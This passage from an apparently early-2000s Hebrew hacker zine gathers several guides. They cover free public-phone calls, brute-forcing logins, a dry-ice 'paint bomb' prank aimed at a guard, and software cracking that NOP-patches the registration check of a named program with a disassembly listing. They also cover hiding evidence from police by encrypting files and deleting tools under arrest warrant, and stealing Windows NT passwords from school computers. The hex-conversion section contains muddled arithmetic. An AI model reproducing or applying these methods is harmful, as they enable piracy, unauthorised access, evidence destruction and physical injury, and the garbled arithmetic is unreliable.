להגיד מילה שניות וזה מנתק אבל יש טלפונים שזה חופשי !!! אז מנצלים {חורשים עליו}
ליד הבית שלי אין טלפון כזה אבל יותר רחוק מצאתי טלפון ! רובם לא עובדים אבל יש גם שכן
וזה שווה ! אז תיהנו !!!
...הוספה
השיטה עובדת גם על טלפונים עם מטבעות ( .כאלה שיש בחנות ,בבתי חולים ,בבית ספר ועוד)...
.עושים אותו דבר מצמידים את הפלאפון לוחצים מספרים וזה מחייג
]By Old-Hacker[I.C.F
102
כוח ברוטלי
.תמיד חלמתם להריץ סיסמאות ( 010110כמו בסרטים ) וזה בדיוק מה שזה כוח ברוטלי
עם כוח ברוטלי אפשר לפרוץ לכל מקום באינטרנט :אתרים ,אי מאיילים ,אי סי קיו ,מירק ועוד
( ......(.פשוט הכל
טוב אז ככה -כוח ברוטל י היינו שיטה אשר מנסה לגלות את הסיסמא של דבר מסוים ע"י צירוף
.של כמה מספריים \ אותיות +ניסיונות רבים -חוזרים ונשנים
למשל :אם אני רוצה לפרוץ ל ...(FTPשל אתר שקוראים לו זזז ( סתם
:אז הכתובת
ftp.zzz.com
וה user nameיהיה לרוב :
Root in unix\linux Server
Admin or administrator in NT\2K Server
אני ממליץ להשתמש במילונים משום שיש שם את המילים הנפוצות ביותר (..וגם בגלל שאני*
...(.משתמש בזה
]By Old-Hacker [I.C.F
103
פצצת צבע
:מצרכים
( צבע והרבה -מומלץ להתחלק במחיר עם כמה חברים ( ...ולדלל עם מים כדי שיצא יותר צבע
(לבוש ישן (מומלץ שחור
חוש התמצאות
מומלץ חברים
קרח יבש
לבוא יום אחד ולארגן 5חברים שכל אחד מביא כמה כסף וקונים צבע ( תיקנו את הכי זול שיש)
לוקחים מים ומערבבים עם הצבע .בבקר למחרת באים ושמים את הצבע בפח מקרבים אותו
לשומר ושמים את הקרח היבש בפנים … ואז צועקים " פצצה " ובורחים משם מהר ואז יש
ספלאש...
104
המדריך ל Crackerהמתחיל \Zeos /
===========================
תוכן עניינים:
=============
א.מבוא
ב.מה זה פיצוח
ג.מטרות הפיצוח
ד.חוקיות
ה.ידע נדרש
ו.ידע חובה
ז.כלים נפוצים למפצח
ח.הורדת הכלים
ט.תודות
א .מבוא
=======
לפני שאני ימשיך עם המדריכים המורכבים יותר כתבתי את המדריך הזה שכולל בתוכו דברים
שכל מי שרוצה
להיות מפצח צריך לדעת וגם תוכנות שונות שצריך להשיג ומאיפה להשיג.
{הערה :סוג הפיצוח שמדובר הוא פיצוח תוכנות ולא אתרי אינטרנט או משהו אחר אם חשבת}
עוד דוגמא למה אפשר לעשות עם פיצוח היא נגיד והורדת קובץ ZIPאבל אתה מגלה שאין לך
סיסמא
אליו ,אם תפצח את ההגנה שלו תוכל לקבל מהקובץ עצמו את הסיסמה הנכונה .ולא רק לקובץ
ZIPאלא
גם למלא סוגים אחרים של סיסמאות מ WORDועד לסיסמא של הפנטגון ):
הדבר הכי נחמד לדעתי (למרות שהוא לא דורש תחכום רב) שאפשר לעשות עם פיצוח היא להכין
טריינרים Trainersלמשחקים .מה
זה אומר ? נגיד אתה משחק במשחק כלשהו ואין לך כוח להפעיל קודים .אתה מפעיל את הטריינר
שזאת
תוכנה שבעצם מפעילה מעיין קודים בשבילך .הרבה מפצחים בונים טריינרים וכי חשוב לציין כי
מי
שרוצה לתכנת טריינרים חייב לדעת לתכנת בשפות אחרות כדוגמת VBאו C++או להשתמש
ביוצר טריינרים (פחות מומלץ) .
105
נגיד קיבלת איזה דמו Demoממגזין משחקים או מה שלא יהיה .במרבית הדמואים הם בעצם
משחקים מלאים! וכל מה שאתה צריך
זה קצת לשחק עם ההגדרות שלהם בעזרת פיצוח ו-וואלה! יש לך משחק מלא .
אוקיי ,דוגמה אחרונה למה שאפשר לעשות עם פיצוח היא נגיד שאתה בא למחשב של חבר שלך
ורוצה
להוציא כל סיסמה שיש עליה **** (כמעט כל סיסמא) ,אז אתה חושב לעצמך " -אם רק יכולתי
לראות
מה יש מאחורי ה **** " באמצעות פיצוח תוכל "לשלוף" את הסיסמא בקלות מתוך הכוכביות
ואפילו יותר...
אני יכול לתת לך עוד שמונת אלפים ארבע מאות דוגמאות אבל אני מאמין שתפסת את העיקרון...
ד .חוקיות
=========
פיצוח אינו חוקי .כי אתה עובר על זכויות יוצרים וכו' ,אבל אם אתה לוקח על עצמך את הסיכון
שיתפסו אותך (מאוד נדיר) אז סבבה .אני מאמין שכל מה שאתה עושה במחשב שלך הוא עניינך
בלבד וכל עוד
לא תמכור אותו או תשווק אותו הוא נחשב לדי חוקי ,אבל החוק לא כזה)0: ...
* - W32סוג של דיסאמבלר -דיסמבלאר הוא כלי שנותן לך לראות את קוד התוכנית אותה אתה
מנתח בשפת אסמבלי .משתמשים בדיסאמבלר
W32בד"כ אם כי אני מאמין כי דיסאמבלרים אחרים כדוגמת זה של BORLANDגם יכולים
להיות טובים.
106
* - Hworksנקרא גם בשם , HWכלי זה מציג את התוכן של קובץ בבסיסים הקסדצימליים
(בסיסי , )16לעוד פרטים על הבסיס
ההקסדצימלי קרא את המדריך שלי על "בסיס הקסדצימלי שנמצא ב IHCאו קרא מכל מקום
אחר .דוגמא לעוד עורך הקסדצימלי טוב
חוץ מ Hworksהוא . AXE
* - SoftICEכלי זה הדיבאגר ,החזק מבין כולם כנראה -נותן לך תצוגה "חיה" של הקובץ אותו
אתה מנתח באסמבלי ,כלומר הוא נותן לך
לבדוק תוך כדי ריצה של התוכנית מה קורה שם ,וע"י הזנת נקודות עצירה BPXלתוכנית ניתן
לראות שיגרות חיוניות שיעזרו
לך להוציא את מה שאתה רוצה מהתוכנית.
אני אישית לא משתמש ב SOFT ICEכי היא עושה לי בעיות ,אבל רוב המפצחים משתמשים בה
ואולי גם אני יעבור
לדיבאגר הזה בחזרה (פעם השתמשתי בו . )...חוץ מהדיבאגר הזה תוכל להשתמש גם בדיבאגרים
כדוגמת PC-WATCHאו TRWשנחשבים
לדיבאגרים מצוינים וכן לעוד הרבה רבים...
*מפצח משחקים - Game Crackerמוכר פחות למפצחים ,כלי זה נותן לך להוציא ממשחק
מחשב מסוים נקודות ערכים חשובות,
כדוגמאת :נקודות חיים ,יריות וכו' הוא עוזר בבניית TRAINERSונותן למפצח את כל המידע
לגבי נתוני המשחק.
מפצח משחקים נמצא (לפחות שלי) בתוך אחד ה TRAINERSשהורדתי ..ברגע שאכתוב מדריך
על טריינרים (מדריך ענק) אכתוב גם
איפה למצוא את מפצח המשחקים ומה ניתן לעשות איתו.
*יוצר פאטצ'ים - Patch Creator -בזה משתמשים כדי ליצור קראק (קובץ שמשנה את ההגנה של
תוכנה מסוימת) .אם
ברצונך ליצור קראק משל עצמך אתה צריך את התוכנה הזאת כי היא יותר נוחה ,אם כי יש
מפצחים שבונים ללא שום יוצר פאטצ'ים.
By Zeos
107
אסמבלר למפצח
=============
שלום לכולם זהו המדריך הראשון שלי בנושא פיצוח במדריך תמצא פקודות בסיסיות
באסמבלר שיעזרו לך להבין מה קורה בתוכנה שאתה מנסה לפצח
CALL
----
CMP
---
פעולה :השוואה כלשהי בתוכנית למשל השוואה בין הסריאל שאנחנו הכנסנו לסיראל
של התוכנית ,בדיקה אם התוכנית רשומה
דוגמא CMP AX,03h :
JMP
---
MOV
---
אתה תראה את הפקודה הזאת המון בתוכנית בדרך כלל זה משמש כפעולת השמה
RET
---
פעולה :חזרה מפונקציה
דוגמא RET :
108
בדרך כלל אתה תראה את הפקודה הזאת בסוף פונקציה ,היא משמשת כחזרה לקריאה
109
איך להפוך מספרים בינארים לעשרוניים וההפך.
בינארי :
עכשיו אם יש מתחת לספרה האמיתית 0אז המספר שווה אפס אבל אם יש אחד אז הוא שווה
כמה שכתוב מעל ה .1
למשל:
יש אחד מעל האחד אז זוכרים ,1יש אחד מעל ה ,2זוכרים עוד ,2
וכו' עד שמגיעים ל.51 = 1+2+16+32 :
ברור ? אני אתן לכם פה תרגילים או שתיים:
? = 11001100
? = 00000010
בראשון אמור לצאת .204
בשני אמור לצאת .2
אני מקווה שהבנתם אם לא תקראו שוב כי זה לא ממש קשה.
עכשיו איך הופכים מעשרוני לבינארי? זה קצת יותר מסובך אבל עדיין נכנס להגדרה של קל.
ניקל את המספר 143ואז מה עושים ?
128 64 32 16 8 4 2 1
110
פיצוח הגנות \ CDגרסה 1.1
מאתZeos :
הקדמה :כתבתי את המדריך הזה לצורכי לימוד בלבד ,כל נזק שיגרם למחשבך ו\או כל פעילות
בלתי חוקית שתעשה הנם על אחריותך בלבד .אם אתה רוצה להפיק כסף מהפיצוח ע"י דרך
כלשהי אנא הפסק לקרוא!
כלים וידע:
למעשה ,לא כל אחד יכול לפצח , (:לי לקח משהו כמו כמה חודשים טובים עד שקלטתי והצלחתי
לפצח ברמה בינונית ...הידע שתצטרך צריך להיות כללי מאוד בתחום המחשבים :בסיסים ,תווי
אסקי אלגוריתמיקה מתקדמת ...חוץ מזה עדיף שתלמד קצת אסמבלי שכן אסמבלי נחשבת לשפה
גבוהה מאוד ומכנים אותו גם "שפת סף" ,שכן היא נחשבת ל"אמא של כל השפות" .אם יש לך את
הידע המתאים לא תתקל בכל קשיים...
במדריך זה השתמשתי בשני דברים לפיצוח :
.1דיסאמבלר (עושה הפוך מאסמבלר – הופך קובץ אחרי הידור משפת מכונה לשפת אסמבלי כדי
שנבין מה קורה)
.2עורך הקסדצימלי . Hworks
את שני אלה ניתן להשיג ברחבי הרשת..ממש לא בעיה להשיג אותם.
111
שלב :3נטרול ההגנה
אוקיי מפה זה כבר די קל ,צא מתוך W32ולך לעורך הקסדצימלי HWשלנו ,פתח את הקובץ
והקש F5שזה – GOTOרשום את המספר הראשון והעורך יזניק אותך למקום שלו בעורך
ההקסדצימלי ,בשלב הזה בוא ותלמד משהו קטן :נגיד והמספר שרשמנו הוא 0003EB2Aזה
אומר כי יש לנו 4בייט – כל 2מספרים הם בייט אחד (הקסדצימלי זה בסיס 16ואילו בייט זה
בסיס )8ככה שהמספר בעצם אמור להראות כך:
EB-2A-00-03כלומר 8 :מספרים = 4בייט .אוקיי ,אחרי שתפסת את זה בוא ונמשיך ...אחרי
שהבנת את מספר הבייטים במספר שלך – כתוב במקום כל זוג מספרים את המספר 90כלומר :
, EB-2A = 90-90-90-90-00-03אם יש לך עוד מספרים עשה אותו דבר לכולם ושמור את
הקובץ .במזל טוב ואם עשית הכל נכון – פרצת את ההגנה של הדיסק – צ'פר את עצמך ושחק
במשחק עד הבוקר): ...
אם אתה מתעניין בפיצוח ורוצה להיכנס קצת יותר לעומק חפש את המילה CRACKבמנועי
החיפוש השונים.
By Zeos
112
קידוד והצפנה
תוכן עניינים:
* מה זה הצפנה ?
* איך אני מצפין ?!?!
* למה זה טוב ?
* בטוח שלא יגלו את זה ?
* לינקים .
* קרדיטים.
=============
מה זה הצפנה ?
=============
בתהליך הצפנה אתה בעצם משנה מה שאתה כתבת למשהו אחר ,שזה נראה ממש זוועה ,לא ברור.
אבל בעצם כל מה שכתבת נמצא שם רק זה השתנה כדי שאנשים לא מורשים (שוטרים) לא יקראו
את זה.
לכל אלגוריתם של הצפנה יש סוג הצפנה אחר .למשל ,התוכנה Aאיך היא מצפינה.
היא קבעה שכל אות בפה שלה תהיה משהו אחר:
Aתהיה בשפה שלה ,3
Bתהיה בשפה שלה ,6
Cתהיה בשפה שלה ,9
Dתהיה בשפה שלה .12
אז איך היא תכתוב ? ABCDהיא תכתוב את זה ככה .36912 :
זה לא חייב להיות ככה אבל זה בעצם הבסיס.
הצפנה הוא שינוי המקור אבל לא שינוי מלא ,שינוי התוכן ,התסרת התוכן ע"י תווים מוזרים.
כאשר אתה תפתח קובץ מוצפן כזה או אחר אתה תראה דבר שאתה לא תידע מהזה,
אתה תחשוב אולי שזה קובץ לא גמור ,הרוס ,סתם חירבוש אבל זה לא נכון.
דוגמא :זה טקסט שראיתי ברשת והוא היה מוצפן ,תגידו לי מה הבנתם ממנו...
-------------------------------------------------------
.KASFONA SFKNASF SDIFH@W#$)&@#$JTK WDRGP VSMV SDPOG v12
-------------------------------------------------------
עכשיו מצאתי את סוג ההצפנה ופיצחתי את זה ,רוצים לדעת מה יש בפנים ?
-------------------------------------------------------
decrypt -> KASFONA SFKNASF SDIFH@W#$)&@#$JTK WDRGP VSMV
.SDPOG v12
.undecrypt -> Its a very simple program to decrypt, i think u can do it
-------------------------------------------------------
נו מה הבנתם מזה ?
* הצפנה זה דבר נחמד ,אבל רק כשאתה משתמש בו.
* לא קשה לפענח הצפנה רק צריך כלים טובים.
אני מקווה שהבנתם פה את הכללי ובואו נמשיך.
==================
איך אני מצפין ?!?!
==================
113
הסברים:
&& אם תם רוצים לכתוב תוכנה שפותחת הצפנה שאתם עשיתי אז עושים ההיפך:
אתה מגזיר למחשב שיבדוק איפה הוא מאתר את התתוים האלה שנתת לו לשנות את התתוים
הרגילים.
למשל אמרת ש Aזה ,Zאז אתה אומר שכשהוא יראה Zהוא ישנה את זה .A
.2אתם מחפשים תוכנה באינטרנט ,אתם פותחים קובץ טקסט כלשהו ולוחצים על ,decrypt
הוא מבקש מכם סיסמא שתם קובעים ,אתם מקישים ומאשרים ,לאחר מכן הוא יוציא לכן
קשקוש אמיתי.
ועם אתה רוצים לפתוח את זה אתם לוחצים על ,undecryptהוא מבקש סיסמא.
אם אתם מקישים את הנכונה יופי ,אם לא אכלתם אותה.
אוקי אם תרצו לבדוק את זה לבד ,תורידו או תבנו תוכנת קידוד והצפנה ותנסו ,אם אתם לא
מאמינים לי ;=).
============
למה זה טוב ?
============
זה משמ טוב להרבה דברים ,כי זה בעצם מסמל את הפרטיות של כל הבני אדם.
בטוח קראתם את הכתבה שלי על ה FBIוהציתות באתר של הארגון אז זה בעצם מנפץ את זה.
למשל יש לכם טקסט סודי ממש סודי ,על כל הדברים הלא טובים שעשיתם ,הבולשת עושה
פשיטה,
מוציאה את המחשב מוצאת הקובץ ,ולא מצליחה לפצח אותו ....לא קרה כלום לא נדפקת ולא
כלום.
אבל יש פה בעיה קטנה ...שאם תעבדו אם תוכנה שכבר כתובה יש סיכוי שאיזה פלצן בבולשת
יגלה אותה
ויפתח את הקובץ בלי בעיות אז אכלצם אותה .אז מה אני מעייץ ?
לכתוב תוכנה לבד ,לשים שם את הקידוד הכי נוראי שאפשר (מבחינה טובה) שאף אחד לא ידע.
שיהיה לך איפשהו כמו מין מפת תווים שתידע מה זה מה.
אחרי שאתה מכין תוכנה ואתה בסכנה (יש לך תיק ,צו מעצר) אני מייעץ למחוק את התוכנה,
כדי שלא יהיה להם איך לפתוח את הקובץ ואל תפיץ אותה כי אתה מגדיל סיכוי להידפק.
תקעו איפשהו מפת תווים שתידעו אחרי איך לכתוב תוכנה אנטי ,שתפתח את ההצפנה.
זה טוב לעוד דברים:
.1להסתיר מידע סודי עליכם או על מישהו אחר.
.2כתבתם מכתב אהבה לילדה ואתם לא רוצים שיראו אותו עד שתשלח לה אותו (איזה חמוד . )):
.3גנבתם מבחן מהמחשב בבית ספר ולא רוצים שיגלו אותכם בבית ,וואלה.
ועוד הרבה הרבה דברים אחרים.
=====================
בטוח שלא יגלו את זה ?
=====================
תשמעו אני לא יכול להבטיח שלא יגלו את זה ,זה תלוי איך כתבתם ובאיכות של התוכנה.
אם תכתבו תוכנה שלוקחת אות ומזיזה אותה תו אחד בטווח זה לא טוב ,למשל אמרת ש Bיהפוך
ל .C
114
זה ממש קל לגלות אבל אם משהו אחר ,תנסו לעשות את זה כמה שיותר מסובך ורחוק בטווח.
למשל ש Aיהיה Wאו משהו כזה.
אני לא יכול שוב להבטיח שלא יגלו מה בפנים ,כמו שאני לא יכול להבטיח שלא יפרצו לכם
למחשב
מתישהו או שלא יתפסו אתכם אם תפרצו לאתר ,לא תמיד יתפסו אבל אני ואף אחד אחר לא יכול
להבטיח
שלא.
מבינים מה אני אומר ,זה עניין של סיכון.
לדעתי האישית תעבדו רק אם תוכנות שאתם כתבתם ,ואם יש לכם בעיות אז קחו את התוכנה
שיש למטה,
ותשנה את המבנה שלה.
אבל בחיים ,אבל בחיים אם אתם יודעים שיש סיכוי שאיזה שוטר יבוא לקחת את המחשב שלכם
איזה יום,
אל תשתמשו בתוכנות כתובות ותוכנות דפוקות.
========
לינקים .
========
אתרים על קידוד והצפנה אפשר למצוא בכל חור ברשת ,אבל מה מיוחד בטקסט שלי ? 9-:
אני נותן לכם פה קישור לתוכנה שהיא בעצם תוכנת הצפנה ,שנכתבה ע"י בן אדם מאוד חכם (לא
אני).
אז אם אתם רוצים קחו אותה ,תקמפלו אותה ותבלו איתה.
כל זאת כמה לינקים לכיף :
www.astalavista.com
hack.box.sk
blacksun.box.sk
By Pirs[I]ng
115
בסיס הקסדצימלי – המרה
מה זה הקסדצימלי ?
הקסדצימלי הוא בסיס ,16מה זה בסיס אתה שואל ובכן בסיס הוא הגורם שאותו מעלים
בחזקה .אני יודע שאני קצת סוטה מהנושא אבל בצורה מתמטית פשוטה בסיס זה כמו ה Xכאן :
xAוה Aהוא המעריך שלו .אז כן אם הבנת נכון – הקסדצימלי הוא בסיס 16ו ה A-הוא
המעריך שלו ,תלמד חזקות ושוב לפה.
שיטות ספירה
טוב ,עכשיו נכון שכאשר אתה סופר רגיל אתה סופר כך :
... 10 ,9 ,8 ,7 ,6 ,5 ,4 ,3 ,2 , 1
זאת שיטת הספירה המקובלת הנקראת גם השיטה העשרונית או הדצימלית.
אוקיי עכשיו למה הבלטתי את 9ו ! ? 10זאת משום שבנקודה הזאת בעצם המספר מקבל עוד
ספרה מצד שמאל ומתאפס מחדש .כך גם בבסיס הקסדצימלי .כמו שבעשרוני אנו סופרים עד 9
ואז מוסיפים לעשרות 1ומאפסים את היחידות (וזאת משום שמבחינה תיאורטית אין כזה דבר
"עשר אחדות" אלא יש "אחד עשרות") .
בקיצור ,בהקסדצימלי זה דומה – אתה סופר עד 15ואז מוסיף אחד לספרה שמאלית רק
שבהקסדצימלי הספרה השמאלית שווה לכפולות של 16ולא לכפולות של .10
לא הבנת ,לא נורא עוד מעט תבין .עכשיו בהקסדצימלי סופרים עד 9כרגיל ואז מ 10ועד 15
ישנם אותיות כדלקמן:
עשרוני – הקסדצימלי
1–1
2–2
3–3
4–4
5–5
6–6
7–7
8–8
9–9
A – 10
B – 11
C – 12
D – 13
E – 14
116
F – 15
נגיד שהבנת איך זה הולך אז בוא נתחיל להמיר מ הקסדצימלי לעשרוני כי זה יותר קל.
טוב הסתכל בטבלה הבאה שמייצגת את המספר 12בבסיס הרגיל (עשרוני) :
1 2
1000000 100000 10000 1000 100 10 1
כמו שבוודאי הספקת להבין בטבלה הזאת מוצג המספר 12כאשר הוא מחולק ל 1עשרות ועוד 2
יחידות ,פשוט וקל .וכן גם שים לב שככל שהולכים בטבלה התחתונה שמאלה כך גם נכפל
המספר בעשר ,כלומר שכל מספר הוא כפולה של עשר בעצמו – חזקה שלו .ככה ש 1זה עשר
בחזקת 0ועשר זה עשר בחזקת אחד ,ומאה זה עשר בחזקת . 2
נגיד וננסה לכתוב את המספר בהקסדצימלי (שים לב ש 12הוא Cלפי הטבלה למעלה) זה אמור
להראות כך:
C
65536 4096 256 16 1
כי בעצם כופלים אותו בעצמו.
בוא נלך על מספר טיפה יותר גדול :המספר 2Aשבעשרוני זה 44
למה? בוא ותראה ,בעצם אפשר לחלק את 2Aככה :
2 A
65536 4096 256 16 1
אז מה בעצם יש כאן ? בשביל לקבל את התוצאה מה נעשה בדיוק כפי שעושים בעשרוני – ניקח
את 12הקודם זה בעצם 10 * 1ועוד . 1 * 2
אז פה המספר 2Aזה יהיה 16 * 2שזה 32ועוד A * 1 – Aזה בעצם 10
אז זה שווה ל 10 * 1כלומר 10 + 32 :שזה שווה ל 42
מסובך ? אולי השרטוט הזה יעזור לך :
ניקח את 42בעשרוני ונגלה שהוא שווה ל:
40 = 10 * 4
2=1*2
42 = 2 + 40
117
42 = 10 + 32
4C91
1=1*1
144 = 16 * 9
C * 256 = 3072
16384 = 4096 * 4
בסדר 99% ...שלא הבנת כלום ,מה שקורה למעלה הוא בדיוק מה שהסברתי – פירוק המספר
והשארית שלו היא המספר עצמו ....
12חלקי 10קיבלת 1ושארית 2מה שניתן לתרגום כ 1עשרות ו 2יחידות
לאחר מכן "שמרת" את ה 2 -זאת השארית וחלקת את ה 1שקיבלת שחילקת ב 10ממקודם
וקיבלת 0ושארית של 1מה שאומר 1עשרות.
2יחידות ו 1עשרות – 12
די מסובך להסביר את זה ככה ...אם לא הבנת ככה הנה עוד שיטה :בעצם בהמרה עשרונית אתה
מחלק
ב – 0 1עד שאתה מקבל במספר 0ובשארית את המספר שחילקת עליו בעשר ( 1במקרה שלנו) ואז
כל פעם שאתה מחלק את השארית אתה שומר וממשיך לחלק וכל מספר שמתווסף אתה מחבר
משמאל למספר כך שקיבלת בהתחלה בשארית 2ואחר כך – 1שרשר אותם (לשים אותם אחד
ליד השני) ותקבל 12
118
מה נעשה אתו ? בדיוק מה שעשינו בעשרוני רק שעכשיו נחלק ב 16ולא ב!10 -
)6( 1 = 16 / 22
)1( 0 = 16 / 1
דבר חשוב מאוד למי שמשתמש במחשבון כאשר תנסה לחלק 58ב 16תקבל 3.625או בשברים
3ו 5חלקי , 8עכשיו תשים לב שכאשר אתה מחפש את השארית כדי לכתוב אותה בצורה
עשרונית אתה חייב להפוך את המכנה ל 16מה שבמקרה שלנו לכפול את המכנה והמונה של 5
חלקי 8ב – 2ואז תקבל 10חלקי . 16וזאת התשובה לשארית ולא .5
לידע כללי ,העיקרון פועל גם בעשרוני כי הרי נגיד שאתה רוצה לכתוב את השבר חצי ( 1חלקי 2
) בעשרוני כאשר הוא תחת בסיס עשר ,אז אתה חייב לכפול את המונה והמכנה ב – ( 5כי 5 * 2
שווה ל ) 10ואז אתה מקבל 0.5אותו דבר בדיוק קורה גם ב הקסדצימלי כי אתה חייב "לכתוב
את המספר" תחת בסיס 16ולא תחת בסיס אחר.
דברי סיכום:
במדריך זה למדת (אם הצלחת) איך להמיר מבסיס 10לבסיס 16ולהפך .אני יודע שזה לא סיפור
גדול אבל אתה תראה שזה יכול להשתלם לך אם תחליט ללמוד אסמבלר באופן מלא ,כמובן
שאפשר פשוט להשתמש בממיר בסיסים שניתן להוריד כמעט מכל מקום אבל אפילו המפצחים
המנוסים ביותר נוהגים יותר להתעסק עם זה לבד כי זה יותר מאתגר כנראה וגם כמו שכתוב
בהתחלה זה בסיס לדברים יותר מורכבים.
במדריך הבא שלי (על הקסה) אכתוב כיצד ניתן לחבר ,לחסר לכפול או לחלק מספרים מבסיס 16
ותלמד גם על חשיבות המספרים השליליים והמשלימים ל ( 2המדריך מסתמך על ידע בבסיס
( .בינארי
By Zeos
119
המדריך לפיצוח מעשי של הגנת סיסמא
מאתZeos :
שלום לכם ,זהו כבר המדריך השני שאני כותב בנוגע לקראקינג .בעקבות הודעות שהשאירו לי
בפורום בנוגע לפיצוח הגנת סיסמא החלטתי לכתוב את מדריך זה וכן גם בשביל שממש תוכל
להתנסות ולפצח תוכנית אמיתית.
הערה :המדריך נוצר לצורכי לימוד בלבד! ,כל פעולה לא חוקית שתעשה או כל נזק שיגרם
למחשבך עקב כל פעילות על סמך המדריך הנה על אחריותך בלבד! ,המדריך מוסבר בצורה
תיאורטית וכל פעולה לא חוקית שתנקוט כתוצאה מכל סוג של שימוש הנה על אחריותך האישית
בלבד .אם אתה מעוניין לנצל את הפיצוח למטרות רווח אנא הפסק לקרוא.
חלק – 2המטרה
בשביל שלא יהיה קשה ,סיירתי באתרי קראקינג ומצאתי קובץ די נפוץ שמלמדים עליו איך לפרוץ
.תוכנה ממש קלה וחביבה שלמפצח הבינוני לא צריך לקחת יותר מ 5דקות לפצח.
לתוכנה קוראים Sweet Little Piano :וניתן להוריד אותה מהכתובת הבאה
http://www.ronimusic.com/swlipi32.zip
ש xxxxהוא המספר רשיון שלך .אחרי שתלחץ על OKיפתח לך מסמך ORDER.TXTוכן גם
תיבה המבקשת את הסיסמא שלך שבה רשום בכותרת " “Enter Your Passwordומקום
להכניס סיסמא .הקש משהו שטותי כל מספר שעולה על דעתך ואמורה להיפתח לך הודעת שגיאה
(כמה לא מפתיע) שבה רשום
Not a valid passwordובכותרת רשום
User ID xxxx Sweet Little Piano -
הקלק על OKשוב ותכנס לגרסה הלא מלאה של התוכנית.
אז מה היה לנו כאן :
התוכנית פתחה לך מקום לרשום סיסמא בהתאם למספר זיהוי שהונפק לך ( )User IDולאחר
מכן להשוות באמצעות אלגוריתם מסוים את הסיסמא למספר זיהוי ,אך אתה שמת מספר לא
נכון וקיבלת הודעת שגיאה .
120
(ליד הכפתור של ההדפסה) ונחפש את השורה שמראה לנו כי הבדיקה לא נכונהSTRN.REF
Not a valid password :כלומר את המשפט
:מצאנו? יופי לחצו עליו ואמור להיפתח לכם משהו כזה
•
Possible StringData Ref from Data Obj ->”Sweet Little Piano”
|
:00401E64 68FCE14000 push 0040E1FC
•
Possible StringData Ref from Data Obj ->”Thanks for registering!”
|
:00401E69 68ADE14000 push 0040E1AD
:00401E6E 53 push ebx
•
Reference To: USER32.MessageBoxA, Ord:0000h
|
:00401E6F E812BB0000 Call 0040D986
:00401E74 C70568E2400001000000 mov dword ptr [0040E268],
00000001
:00401E7E EB1A jmp 00401E9A
•
Possible StringData Ref from Data Obj ->”Sweet Little Piano”
|
:00401E82 68FCE14000 push 0040E1FC
•
Possible StringData Ref from Data Obj ->”Not a valid password!”
|
:00401E87 68E3E14000 push 0040E1E3
:00401E8C 53 push ebx
אז בוא ותראה, אחרי שהתאוששת מהבלגן הזה והצלחת למצוא את הקטעים עליהם אני מדבר
לפי השיגרה:מה קורה לנו פה
* Reference To: USER32.GetDlgItemTextA, Ord:0000h
|
:00401E54 E8EBBA0000 Call 0040D944 { }קריאה לפונקציה
:00401E59 E83EFEFFFF call 00401C9C {} קריאה לפונקציה
121
:00401E5E 85C0 }מבחן השוואה( test eax, eax
:00401E60 741E } !קפיצה אם שווה{ je 00401E80
00401E62 6A30 push 00000030:
ישנם 4משפטים ,משפטים אחד ושתיים קוראים לפונקציה ,לא מעניין .משפט שלישי עורך
מבחן מסוים בין שני האוגרים EAXאבל זה לא כל כך משנה לנו כי זה פיצוח אלגוריתם של
הסיסמה ואנחנו לא מתעסקים עם זה כעת ואילו במשפט הרביעי (מסומן בירוק) ישנה קפיצה אם
שווה – זה JEלשיגרה שאומרת כי ההרשמה הצליחה .עכשיו בוא נחשוב ,מה היה קורה אילו
התוכנית הייתה עושה מבחן השוואה והפקודה JEלא הייתה שם? אז התוכנית הייתה נרשמת
בהצלחה .אז יאללה קדימה בוא נלך ונשמיד אותה!!!!
אז בדוק ב W32שלך את המספר OFFSETשל הפקודה JEשלך (שוב פעם ,אל תתייחס אם זה
לא דומה לשלי) ולאחר שרשמת אותו (ללא ה – ) Hלך לעורך ההקסדצימלי שלנו . HWORKS
קדימה קפוץ לשורה באמצעות פקודת ( GOTOאלט ו ) f5אל המספר שרשמת והקלד פעמיים
( 90זאת הפקודה NOPבהקסדצימלי) .שמור את הקובץ...
אם אתה רוצה להמשיך ולהיות מפצח אתה חייב לדעת שחלק מהיותך מפצח זה ללמוד שפות
תכנות שונות ,למד ככל שתוכל ואז תוכל לקבל שליטה על כל מה שמתבצע בתוך תוכנית מכל סוג
ומכל שפה ולנתב אותה לפי רצונך וזאת בעצם התכלית של הקראקינג.
122
פריצת סיסמאות ב Windows NT
אהלן!
E-manכאן.
אז מה?
בית ספר החליט להתקין ?WinNTיופי ...שיחנקו אייתו.
והכי טוב שאתם תחנקו אותם נכון?
במה להצטייד?
ציוד חובה:
-דיסקט
ציוד רשות:
-דיסקט NTFSDOS
NT Resource Kit -
אז ככה:
מהו ה?SAM-
שיטה :1תנסו להשיג את התוכנה .R-DISKזאת לא תוכנת פריצה ,תוכנה זאת ,של מיקרוסופט
בעצמה ,מגבה את כל המידע הנחוץ של מערכת ההפעלה על דיסקט .זה
כולל גם סיסמאות! פשוט השתמשו בתוכנה על מנת להשיג את הקובץ.
שיטה :3עותק של הסיסמאות נמצא גם ב ,Registryאבל משתמש רגיל לא יכול להכנס אליו.
מה אפשר לעשות? להשתמש בתוכנה (שוב ,מבית מיקרוסופט) RegBack.exeמה NT Resource
Kitשמעתיקה את הסיסמאות לדיסקט.
שיטה :4
*** שיטה זאת מיועדת רק למומחים ולאלה שלא מוותרים בקלות.
בקובץ ה Swapשל WinNTמאוחסנות הסיסמאות בטקסט רגיל! אבל שוב ,אי אפשר לחפש בו
כי המערכת משתמשת בו.
123
מה עושים? משתמשים ב NTFSDOSכדי להכנס ל DOSומעתיקים את הקובץ Swapfile.sys
למקום אחר על ההארד דיסק.
** שימו לב :מעתיקים! לא מעבירים!
נכנסים לווינדוס ופשוט מחפשים בקובץ כשמשתמשים ב NotePadכדי לקרוא אותו.
עכשיו לכו לשחק עם החתול ,להציק לאחות או סתם להמשיך לקרוא בזמן שהסיסמאות מופיעות
לאט לאט מול עינכים.
.By E-man
124
האתיקה של ההאקרים עפ"י Razor\Oldhacker
אל תהיה אף פעם צבוע -להיות צבוע זה הדרגה הכי שפלה שיש באדם ,תהיה אמיתי ,אם 1.
אתה רוצה לומר למישהו אמת אמור לו את זה בפנים ואל תרמוז או תנסה להעביר את המסר
!.ברמזים ,אמור זאת חד וחלק בפנים
אל תשקר -בעולם ההאקינג ובחיים בכלל אנשים שונאים שקרים ,פעם אחת ידעו ששיקרת 2.
.יעיפו אותך מכל חברה שיש במיוחד בהאקינג שצריך אמינות רבה
אל תגנוב אף פעם כסף או רכוש מאדם -לדוגמה אל תגנוב מספרי אשראי של אנשים או 3.
...:-( .חשבונות בנקים ותשמש בהם לרע .זכורמה ששלמה ארצי שר :פוליטיקאים וגנבים הם
